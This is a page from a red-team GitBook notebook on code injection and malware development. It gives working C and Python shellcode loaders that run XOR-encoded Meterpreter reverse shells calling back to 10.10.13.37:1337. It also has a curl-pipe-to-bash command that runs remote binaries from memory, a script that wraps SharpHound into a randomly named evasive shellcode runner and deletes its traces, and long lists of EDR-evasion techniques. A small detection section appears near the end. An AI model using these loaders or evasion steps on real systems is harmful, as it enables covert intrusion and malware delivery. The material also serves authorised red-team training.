Pentester's Promiscuous Notebook
TwitterGitHubBlog
  • README
  • ⚒️Pentest
    • C2
      • Covenant
      • Empire
      • Havoc
      • Meterpreter
      • PoshC2
      • Sliver
    • Infrastructure
      • AD
        • ACL Abuse
        • AD CS Abuse
          • dNSHostName Spoofing (Certifried)
          • ESC1
          • ESC4
          • ESC8
          • ESC15
          • Golden Certificate
          • Pass-the-Certificate
        • ADIDNS Abuse
        • Attack Trusts
        • Attack RODCs
        • AV / EDR Evasion
          • .NET Assembly
            • .NET Config Loader
            • .NET Dynamic API Invocation
            • .NET In-Memory Assembly
            • .NET Reflective Assembly
          • AMSI Bypass
          • Application Whitelist Bypass
          • AppLocker Bypass
          • BYOVD
          • CLM Bypass
          • Defender
          • ETW Block
          • Execution Policy Bypass
          • Mimikatz
          • UAC Bypass
        • Authentication Coercion
        • BadSuccessor
        • Credentials Harvesting
          • From Memory
            • lsass.exe
            • svchost.exe
          • Credential Phishing
          • DCSync
          • DPAPI
          • KeePass
          • Linux
          • LSA
          • NetSync
          • NPLogonNotify
          • NTDS
          • Password Filter
          • RDP
          • SAM
          • SSH Clients
          • SSPI
        • Discovery
        • DnsAdmins
        • Dominance
        • GPO Abuse
        • Kerberos
          • Delegation Abuse
            • Constrained
            • Resource-based Constrained
            • Unconstrained
          • Kerberos Relay
          • Roasting
        • Key Credentials Abuse
        • LAPS
        • Lateral Movement
          • DCOM
          • Overpass-the-Hash
          • Pass-the-Hash
          • Pass-the-Ticket
          • RDP
          • RPC
          • RunAs
          • SMB
          • SPN-jacking
          • WinRM / PSRemoting
          • WMI
        • LDAP
        • NTLM
          • NTLM Relay
          • NTLMv1 Downgrade
        • Password Spraying
        • Post Exploitation
        • Pre-created Computers Abuse
        • PrivExchange
        • Privileges Abuse
          • SeBackupPrivilege & SeRestorePrivilege
          • SeImpersonatePrivilege
            • Potatoes
            • PrintSpoofer
          • SeTrustedCredmanAccess
        • RID Cycling
        • SCCM Abuse
        • SMB
        • Token Manipulation
        • User Hunt
        • WSUS
        • Zerologon
      • Azure AD
        • On-Prem ↔ Cloud
          • Cloud → On-Prem
          • On-Prem → Cloud
        • PRT Abuse
      • DevOps
        • Ansible
        • Artifactory
        • Atlassian
        • Containerization / Orchestration
        • GitLab
        • HashiCorp Vault
        • Jenkins
        • VS Code
        • Zabbix
      • DBMS
        • FireBird
        • MS SQL
        • MySQL / MariaDB
        • Oracle
        • Redis
        • SQLite
      • Authentication Brute Force
      • File Transfer
      • IPMI
      • Kiosk Breakout
      • Low-Hanging Fruits
      • LPE
      • Networks
        • L2
          • ARP Spoofing
          • DHCPv6 Spoofing
          • LLMNR / NBNS Poisoning
          • SNACs Abuse
          • VLAN Hopping
        • NAC Bypass
        • Scanning
        • SIP / VoIP
        • Sniff Traffic
      • NFS
      • Persistence
      • Pivoting
      • Post Exploitation
      • SNMP
      • SSH
      • TFTP
      • VNC
    • OSINT
      • Shodan
    • Password Brute Force
      • Generate Wordlists
    • Perimeter
      • 1C
      • ADFS
      • Cisco
      • DNS
      • Exchange
      • Information Gathering
      • IPSec
      • Java RMI
      • Log4j / Log4Shell
      • Lync & Skype for Business
      • NTP
      • Outlook
      • OWA
      • SharePoint
      • SMTP
      • SSH
      • Subdomain Takeover
    • Shells
      • Reverse Shells
      • Web Shells
    • Web
      • 2FA Bypass
      • LFI / RFI
      • SOP / CORS
      • SQLi
      • WAF
      • WordPress
      • XSS
    • Wi-Fi
      • WPA / WPA2
        • Enterprise
        • Personal
  • ⚔️Red Team
    • Basics
    • Cobalt Strike
      • UDRL
    • Infrastructure
    • MalDev
      • API Hashing
      • API Hooking
      • BOF / COFF
      • CFG
      • Code Injection
        • DLL Injectors
        • Process Hollowing
        • Process Injectors
        • Shellcode Runners
      • DLL Hijacking
      • Golang
      • Kernel Mode
      • PIC / Shellcode
      • Nim
      • Sandbox Evasion
      • Syscalls
      • Windows API
    • SE
      • Phishing
        • HTML Smuggling
        • MS Office
        • Rogue RDP
  • 🐞Exploit Dev
    • BOF
      • OSCP BOF
      • OSED SEH Overflow
    • RE
    • WinDbg
  • ⚙️Admin
    • Git
    • Linux
      • Kali
    • Networking
      • DHCP Server & Linux Hotspot
      • Quick Configurations
      • Routing
      • WireGuard
    • Virtualization
      • Docker
      • Hyper-V
      • VirtualBox
      • VMWare
    • Windows
Powered by GitBook
On this page
  • Shellcode as Function
  • Linux In-Memory Code Execution
  • Memory Manipulation with Python
  • DDexec
  • Tools
  • RtlRemoteCall
  • DLL Hollowing / Module Stomping
  • Variations of (Phantom) DLL Hollowing
  • Advanced Module Stomping
  • Module Overloading
  • Module Stomping in C#
  • Function Stomping / Threadless Injection
  • ThreadlessInject
  • Thread Pools (PoolParty)
  • VEH (Vectored Exception Handling)
  • Early Cascade
  • Thread Name-Calling Injection
  • Waiting Thread Hijacking
  • Control Flow Hijacking (Data Pointers)
  • Shellcode In-Memory Fluctuation (Obfuscate and Sleep)
  • gargoyle
  • Memory Scanners
  • Return Address / Call Stack Spoofing
  • Return Address Spoofing
  • ThreadStackSpoofer
  • Call Stack Spoofing
  • Proxy DLL Loading
  • Hook NtCreateSection
  • Avoid PsSetCreateThreadNotifyRoutine
  • EDR Preloading
  • Shellcode Encryption
  • SystemFunction032 / SystemFunction033
  • SystemFunction040 / SystemFunction041
  • Shellcode Execution via Callbacks
  • PE to Shellcode
  • sRDI
  • Donut
  • Python
  • InflativeLoading
  • PE Injection
  • Detection
  • Tools
  1. Red Team
  2. MalDev

Code Injection

Last updated 18 days ago

Shellcode as Function

loader.c
#include <windows.h>
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f raw -o met.bin --encrypt xor --encrypt-key a
// xxd -i met.bin > shellcode.h
#include "shellcode.h"

int main() {
    DWORD lpThreadId = 0;
    DWORD flOldProtect = 0;
    int bufsize = sizeof(buf);
    LPVOID f = VirtualAlloc(NULL, bufsize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
    for (int i = 0; i < (int)bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
    memcpy(f, buf, bufsize);
    VirtualProtect(f, bufsize, PAGE_EXECUTE_READ, &flOldProtect);
    ((void(*)())f)();
    //VirtualFree(f, 0, MEM_RELEASE);
    WaitForSingleObject((HANDLE)-1, -1);
    return 0;
}
loader.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] = 
"\x31\x33\...\x33\x37";

int main (int argc, char **argv)
{
    int bufsize = (int)sizeof(buf);
    for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
    int (*ret)() = (int(*)())buf;
    ret();
}

Compile allowing execution on stack:

$ gcc -o loader loader.c -z execstack

Linux In-Memory Code Execution

Memory Manipulation with Python

Convert an ELF to PIC, inject it and run from memory:

$ gcc hello.c -fno-stack-protector -fPIE -fpic -static --entry=main -o hello
$ python3 -m shelf --input hello
$ python3 run_sc.py
run_sc.py
# https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md#Python

from ctypes import (CDLL, c_void_p, c_size_t, c_int, c_long, memmove, CFUNCTYPE, cast, pythonapi)
from ctypes.util import find_library

PROT_READ = 0x01
PROT_WRITE = 0x02
PROT_EXEC = 0x04
MAP_PRIVATE = 0x02
MAP_ANONYMOUS = 0x20

with open('hellointel_x64.out.shell', 'rb') as f:
	sc = f.read()

libc = CDLL(find_library('c'))

mmap = libc.mmap
mmap.argtypes = [c_void_p, c_size_t, c_int, c_int, c_int, c_size_t]
mmap.restype = c_void_p
page_size = pythonapi.getpagesize()
sc_size = len(sc)

mem_size = page_size * (1 + sc_size / page_size)
cptr = mmap(0, int(mem_size), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)

memmove(cptr, sc, sc_size)
sc = CFUNCTYPE(c_void_p, c_void_p)
call_sc = cast(cptr, sc)
call_sc(None)

DDexec

Run binaries from memory without touching the disk:

$1 base64 /bin/ls -w0 > ls.b64
$2 curl -sS 10.10.13.37/ls.b64 | bash <(curl -sSL https://github.com/arget13/DDexec/raw/main/ddexec.sh) /bin/NonExistentBinary -la

Another trick to do semi-fileless ELF execution with a pre-created process descriptor:

$ python3 -c 'import os;os.fork()or(os.setsid(),print(f"/proc/{os.getpid()}/fd/{os.memfd_create(str())}"),os.kill(os.getpid(),19))'
$ cat /usr/bin/date > /proc/1732982/fd/4
$ /proc/1732982/fd/4

Tools

RtlRemoteCall

DLL Hollowing / Module Stomping

Variations of (Phantom) DLL Hollowing

Advanced Module Stomping

Module Overloading

Module Shifting

Process Stomping

Module Stomping in C#

Function Stomping / Threadless Injection

ThreadlessInject

Thread Pools (PoolParty)

VEH (Vectored Exception Handling)

Early Cascade

Thread Name-Calling Injection

Waiting Thread Hijacking

Control Flow Hijacking (Data Pointers)

Shellcode In-Memory Fluctuation (Obfuscate and Sleep)

gargoyle

Memory Scanners

PS > curl https://github.com/forrest-orr/moneta/releases/download/1.0/Moneta64.exe -o Moneta64.exe
PS > .\Moneta64.exe -p ((Get-Process notepad).Id) -m region --address 0xd34dc0d31000

Return Address / Call Stack Spoofing

Return Address Spoofing

ThreadStackSpoofer

retaddr.cpp
#include <intrin.h>
#include <windows.h>
#include <iostream>
#include <sstream>
#include <iomanip>

// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/header.h#L38-L45
template<class... Args>
void log(Args... args)
{
    std::stringstream oss;
    (oss << ... << args);
    std::cout << oss.str() << std::endl;
}

// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/main.cpp#L13-L14
void addressOfReturnAddress() {
    auto pRetAddr = (PULONG_PTR)_AddressOfReturnAddress(); // https://doxygen.reactos.org/d6/d8c/intrin__ppc_8h_source.html#l00040
    log("Original return address via _AddressOfReturnAddress: 0x", std::hex, std::setw(8), std::setfill('0'), *pRetAddr);
}

// https://stackoverflow.com/a/1334586/6253579
void rtlCaptureStackBackTrace() {
    typedef USHORT(WINAPI* CaptureStackBackTraceType)(__in ULONG, __in ULONG, __out PVOID*, __out_opt PULONG);
    CaptureStackBackTraceType RtlCaptureStackBackTrace = (CaptureStackBackTraceType)(GetProcAddress(LoadLibrary("ntdll.dll"), "RtlCaptureStackBackTrace"));

    void* callers[2] = { NULL };
    int count = (RtlCaptureStackBackTrace)(1, 2, callers, NULL);
    log("Original return address via RtlCaptureStackBackTrace: 0x", std::hex, std::setw(8), std::setfill('0'), (DWORD64)callers[0]);
}

int main(int argc, char** argv)
{
    addressOfReturnAddress();
    rtlCaptureStackBackTrace();
    return 0;
}

Call Stack Spoofing

Proxy DLL Loading

Hook NtCreateSection

Avoid PsSetCreateThreadNotifyRoutine

EDR Preloading

Shellcode Encryption

SystemFunction032 / SystemFunction033

SystemFunction040 / SystemFunction041

Shellcode Execution via Callbacks

CallWindowProc
CertEnumSystemStore
CertEnumSystemStoreLocation
CopyFile2
CopyFileEx
CryptEnumOIDInfo
EnumCalendarInfo
EnumCalendarInfoEx
EnumCalendarInfoExEx
EnumChildWindows
EnumDateFormats
EnumDesktopWindows
EnumDesktops
EnumDirTree
EnumDisplayMonitors
EnumFontFamilies
EnumFontFamiliesEx
EnumFonts
EnumLanguageGroupLocales
EnumObjects
EnumPageFiles
EnumPwrSchemes
EnumResourceTypes
EnumResourceTypesEx
EnumSystemCodePages
EnumSystemGeoID
EnumSystemLanguageGroups
EnumSystemLocales
EnumSystemLocalesEx
EnumThreadWindows
EnumTimeFormats
EnumTimeFormatsEx
EnumUILanguages
EnumWindowStations
EnumWindows
EnumerateLoadedModules
EnumerateLoadedModulesEx
ImageGetDigestStream
ImmEnumInputContext
InitOnceExecuteOnce
LdrEnumerateLoadedModules
LineDDA
NotifyIpInterfaceChange
NotifyRouteChange2
NotifyTeredoPortChange
NotifyUnicastIpAddressChange
SetupCommitFileQueue
SymEnumProcesses
SymFindFileInPath
VerifierEnumerateResource

PE to Shellcode

sRDI

Donut

blood.sh
RNDNAME=`curl -sL https://github.com/snovvcrash/WeaponizeKali.sh/raw/main/misc/binaries.txt | shuf -n1`
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe -qO /tmp/SharpHound.exe

~/tools/PEzor/deps/donut/donut -a2 -z2 -i /tmp/SharpHound.exe -p '--CollectionMethod All,LoggedOn --NoSaveCache --OutputDirectory C:\Windows\Tasks --ZipFilename blood.zip' -o /tmp/SharpHound.bin

BUF=`xxd -i /tmp/SharpHound.bin | head -n-2 | tail -n+2 | tr -d ' ' | tr -d '\n'`
BUFSIZE=`xxd -i /tmp/SharpHound.bin | tail -n1 | awk '{print $5}' | tr -d ';\n'`

cat << EOF > "/tmp/$RNDNAME.cs"
using System;
using System.Runtime.InteropServices;

namespace Sh4rpH0und
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, ulong dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static void Main(string[] args)
        {
            byte[] buf = new byte[$BUFSIZE] { $BUF };
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (ulong)buf.Length, 0x1000, 0x40);
            Marshal.Copy(buf, 0, addr, buf.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}
EOF

mcs -platform:x64 -t:winexe "/tmp/$RNDNAME.cs" -out:"$RNDNAME.exe"
file "$RNDNAME.exe"
rm "/tmp/SharpHound.exe" "/tmp/SharpHound.bin" "/tmp/$RNDNAME.cs"

Python

InflativeLoading

PE Injection

Detection

$assembly = "\path\to\csharp\binary.exe"
$stream = [System.IO.File]::OpenRead($assembly)
$peReader = [System.Reflection.PortableExecutable.PEReader]::new($stream, [System.Reflection.PortableExecutable.PEStreamOptions]::LeaveOpen -bor [System.Reflection.PortableExecutable.PEStreamOptions]::PrefetchMetadata)
$metadataReader = [System.Reflection.Metadata.PEReaderExtensions]::GetMetadataReader($peReader)
$assemblyDefinition = $metadataReader.GetAssemblyDefinition()

foreach($typeHandler in $metadataReader.TypeDefinitions) {
    $typeDef = $metadataReader.GetTypeDefinition($typeHandler)
    foreach($methodHandler in $typeDef.GetMethods()) {
        $methodDef = $metadataReader.GetMethodDefinition($methodHandler)

        $import = $methodDef.GetImport()
        if ($import.Module.IsNil) {
            continue
        }

        $dllImportFuncName = $metadataReader.GetString($import.Name)
        $dllImportParameters = $import.Attributes.ToString()
        $dllImportPath = $metadataReader.GetString($metadataReader.GetModuleReference($import.Module).Name)
        Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n"
    }
}
([System.Reflection.Assembly]::LoadFile("\path\to\csharp\binary.exe")).GetTypes() | % {$_.GetMethods([Reflection.BindingFlags]::Public -bxor [Reflection.BindingFlags]::NonPublic -bxor [Reflection.BindingFlags]::Static) | ? {$_.Attributes -band [Reflection.MethodAttributes]::PinvokeImpl}} | fl -Property Name,DeclaringType,CustomAttributes

Tools

An alternative way to get the nearest return address in current stack frame (besides and ) without manually walking the stack:

with and donut (C# cross-compilation is done with ):

This technique is enhanced and automated .

Show P/Invoke imports in a .NET assembly with System.Reflection.Metadata and PowerShell Core (stolen from , ):

Another with a PowerShell one-liner:

⚔️
http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/
https://www.fergonez.net/post/shellcode-csharp
https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis
https://github.com/byt3bl33d3r/OffensiveNim/issues/16
https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Linux%20Shellcode%20Loaders/simpleLoader.c
https://github.com/paranoidninja/Brute-Ratel-C4-Community-Kit/blob/main/deprecated/badger_template.ps1
https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md
https://www.akamai.com/blog/security-research/the-definitive-guide-to-linux-process-injection
https://github.com/jonatanSh/shelf
https://github.com/anvilsecure/ulexecve
https://github.com/arget13/DDexec
https://github.com/hackerschoice/bincrypter
https://www.alex-ionescu.com/rtlremotecall/
https://github.com/REDMED-X/OperatorsKit/blob/ff56550a1606e2a2cd9c6295ef42b5f8dc6ed156/KIT/LoadLib/loadlib.c
https://sabotagesec.com/thread-hijacking-iceberg-deep-dive-into-phantom-call-rtlremotecall/
https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection
https://github.com/TheWover/donut/blob/61af8ccee3c2cafa743b2628654d1a2dafc66f3a/loader/inmem_pe.c#L135
https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing
https://www.forrest-orr.net/post/masking-malicious-memory-artifacts-part-ii-insights-from-moneta
https://www.forrest-orr.net/post/masking-malicious-memory-artifacts-part-iii-bypassing-defensive-scanners
https://github.com/forrest-orr/phantom-dll-hollower-poc
https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/
https://blog.f-secure.com/hiding-malicious-code-with-module-stomping-part-2/
https://github.com/WithSecureLabs/ModuleStomping
https://www.secforce.com/blog/dll-hollowing-a-deep-dive-into-a-stealthier-memory-allocation-variant/
https://github.com/SECFORCE/DLL-Hollow-PoC
https://labs.cognisys.group/posts/Advanced-Module-Stomping-and-Heap-Stack-Encryption/
https://github.com/CognisysGroup/SweetDreams
https://bruteratel.com/release/2023/03/19/Release-Nightmare/
https://github.com/hasherezade/module_overloading
https://github.com/naksyn/ModuleShifting
https://naksyn.com/edr%20evasion/2023/06/01/improving-the-stealthiness-of-memory-injections.html
https://github.com/hasherezade/process_overwriting
https://www.naksyn.com/edr%20evasion/2023/11/18/mockingjay-revisited-process-stomping-srdi-beacon.html
https://github.com/naksyn/ProcessStomping
https://offensivedefence.co.uk/posts/module-stomping/
https://github.com/rasta-mouse/TikiTorch/blob/master/TikiLoader/Stomper.cs
https://idov31.github.io/2022/01/28/function-stomping.html
https://github.com/Idov31/FunctionStomping
https://klezvirus.github.io/RedTeaming/AV_Evasion/FromInjectionToHijacking/
https://github.com/CCob/ThreadlessInject
https://github.com/iilegacyyii/ThreadlessInject-BOF
https://github.com/rkbennett/pyThreadlessInject
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
https://github.com/SafeBreach-Labs/PoolParty
https://github.com/0xEr3bus/PoolPartyBof
https://urien.gitbook.io/diago-lima/a-deep-dive-into-exploiting-windows-thread-pools
https://www.ibm.com/think/x-force/using-veh-for-defense-evasion-process-injection
https://github.com/passthehashbrowns/VectoredExceptionHandling
https://bruteratel.com/research/2024/10/20/Exception-Junction/
https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/
https://github.com/Cracked5pider/earlycascade-injection
https://github.com/0xNinjaCyclone/EarlyCascade
https://research.checkpoint.com/2024/thread-name-calling-using-thread-name-for-offense/
https://github.com/hasherezade/thread_namecalling
https://research.checkpoint.com/2025/waiting-thread-hijacking/
https://github.com/hasherezade/waiting_thread_hijacking
https://www.legacyy.xyz/defenseevasion/windows/2025/04/16/control-flow-hijacking-via-data-pointers.html
https://github.com/iilegacyyii/DataInject-BOF
https://www.solomonsklash.io/SleepyCrypt-shellcode-to-encrypt-a-running-image.html
https://github.com/SolomonSklash/SleepyCrypt
https://gist.github.com/S3cur3Th1sSh1t/6022dc2050bb1b21be2105b8b0dc077d
https://github.com/mgeeky/ShellcodeFluctuation
https://github.com/phra/PEzor/blob/master/fluctuate.cpp
https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/
https://xz.aliyun.com/t/9399
https://github.com/zu1k/beacon_hook_bypass_memscan
https://suspicious.actor/2022/05/05/mdsec-nighthawk-study.html
https://github.com/secidiot/FOLIAGE
https://github.com/y11en/FOLIAGE
https://github.com/ShellBind/G0T-B0R3D/blob/main/Cs-Sleep-Mask-Fiber.c
https://github.com/Cracked5pider/Ekko/blob/main/Src/Ekko.c
https://mez0.cc/posts/vulpes-obfuscating-memory-regions/
https://github.com/janoglezcampos/DeathSleep
https://blog.kyleavery.com/posts/avoiding-memory-scanners/
https://github.com/kyleavery/AceLdr
https://github.com/Idov31/Cronos
https://github.com/lem0nSec/ShellGhost
https://github.com/JLospinoso/gargoyle
https://lospi.net/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html
https://labs.f-secure.com/blog/experimenting-bypassing-memory-scanners-with-cobalt-strike-and-gargoyle/
https://www.arashparsa.com/bypassing-pesieve-and-moneta-the-easiest-way-i-could-find/
https://github.com/waldo-irc/YouMayPasser
https://github.com/thefLink/DeepSleep
https://github.com/forrest-orr/moneta
https://github.com/hasherezade/pe-sieve
https://github.com/waldo-irc/MalMemDetect
https://github.com/thefLink/Hunt-Sleeping-Beacons
https://github.com/paranoidninja/Cobaltstrike-Detection/blob/main/scan_process.c
https://github.com/BlackSnufkin/LitterBox?tab=readme-ov-file
https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html
https://hulkops.gitbook.io/blog/red-team/x64-return-address-spoofing
https://github.com/NtDallas/Svartalfheim/blob/main/src/RetAddr.c
https://github.com/mgeeky/ThreadStackSpoofer/tree/c2507248723d167fb2feddf50d35435a17fd61a2
https://github.com/mgeeky/ThreadStackSpoofer
_ReturnAddress
_AddressOfReturnAddress
https://www.elastic.co/security-labs/peeling-back-the-curtain-with-call-stacks
https://dtsec.us/2023-09-15-StackSpoofin/
https://labs.withsecure.com/blog/spoofing-call-stacks-to-confuse-edrs/
https://klezvirus.github.io/RedTeaming/AV_Evasion/StackSpoofing/
https://hulkops.gitbook.io/blog/red-team/x64-call-stack-spoofing
https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/
https://0xdarkvortex.dev/hiding-in-plainsight/
https://github.com/paranoidninja/Proxy-DLL-Loads
https://github.com/paranoidninja/Proxy-Function-Calls-For-ETwTI
https://github.com/kleiton0x00/Proxy-DLL-Loads
https://fin3ss3g0d.net/index.php/2024/03/18/weaponizing-windows-thread-pool-apis-proxying-dll-loads/
https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/
https://github.com/waawaa/Hooked-Injector
https://s3cur3th1ssh1t.github.io/Cat_Mouse_or_Chess/
https://github.com/S3cur3Th1sSh1t/Ruy-Lopez
https://www.r-tec.net/r-tec-blog-process-injection-avoiding-kernel-triggered-memory-scans.html
https://github.com/S3cur3Th1sSh1t/Caro-Kann
https://caueb.com/attackdefense/threadlessstompingkann/
https://github.com/caueb/ThreadlessStompingKann
https://malwaretech.com/2024/02/bypassing-edrs-with-edr-preload.html
https://github.com/MalwareTech/EDR-Preloader
https://s3cur3th1ssh1t.github.io/SystemFunction032_Shellcode/
https://gist.github.com/snovvcrash/3533d950be2d96cf52131e8393794d99
https://www.redteam.cafe/red-team/shellcode-injection/inmemory-shellcode-encryption-and-decryption-using-systemfunction033
https://github.com/Cracked5pider/CodeCave/tree/main/EkkoSys040
https://github.com/aahmad097/AlternativeShellcodeExec
https://github.com/werdhaihai/SharpAltShellCodeExec
https://github.com/ScriptIdiot/shellcode_execute_rare_WinAPI
https://marcoramilli.com/2022/06/15/running-shellcode-through-windows-callbacks/
https://osandamalith.com/2021/04/01/executing-shellcode-via-callbacks/
http://ropgadget.com/posts/abusing_win_functions.html
[PDF] From a C project, through assembly, to shellcode (hasherezade for @vxunderground)
https://github.com/hasherezade/pe_to_shellcode
https://bruteratel.com/research/feature-update/2021/01/30/OBJEXEC/
https://github.com/paranoidninja/PIC-Get-Privileges
https://github.com/s0i37/av_bypass/blob/master/crypt/cryptor.py
https://github.com/4l3x777/shell_maker
https://github.com/monoxgas/sRDI
https://blog.malicious.group/writing-your-own-rdi-srdi-loader-using-c-and-asm/
https://thewover.github.io/Introducing-Donut/
https://thewover.github.io/Cruller/
https://github.com/TheWover/donut
https://github.com/S4ntiagoP/donut/tree/syscalls
https://github.com/Binject/go-donut
https://github.com/listinvest/undonut
Example
SharpHound.exe
Mono
here
https://www.naksyn.com/edr%20evasion/2023/06/01/improving-the-stealthiness-of-memory-injections.html
https://github.com/naksyn/PythonMemoryModule
https://github.com/naksyn/ModuleShifting
https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading
https://github.com/senzee1984/InflativeLoading
https://gist.github.com/hasherezade/e6daa4124fab73543497b6d1295ece10
https://xakep.ru/2018/08/27/doppelganging-process/
https://xakep.ru/2022/04/21/herpaderping-and-ghosting/
https://www.mono-project.com/docs/tools+libraries/tools/monodis/
https://github.com/Dump-GUY/Get-PDInvokeImports
1
2
method
https://github.com/0xDivyanshu/Injector
https://github.com/jfmaes/SharpZipRunner
https://github.com/plackyhacker/Shellcode-Injection-Techniques
https://github.com/3xpl01tc0d3r/ProcessInjection
https://github.com/Wra7h/SingleDose
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://blog.xpnsec.com/weird-ways-to-execute-dotnet/
https://gitlab.com/users/ORCA666/projects
https://github.com/itaymigdal/awesome-injection
AV / EDR Evasion
GitHub - itaymigdal/awesome-injection: Centralized resource for listing and organizing known injection techniques and POCsGitHub
Logo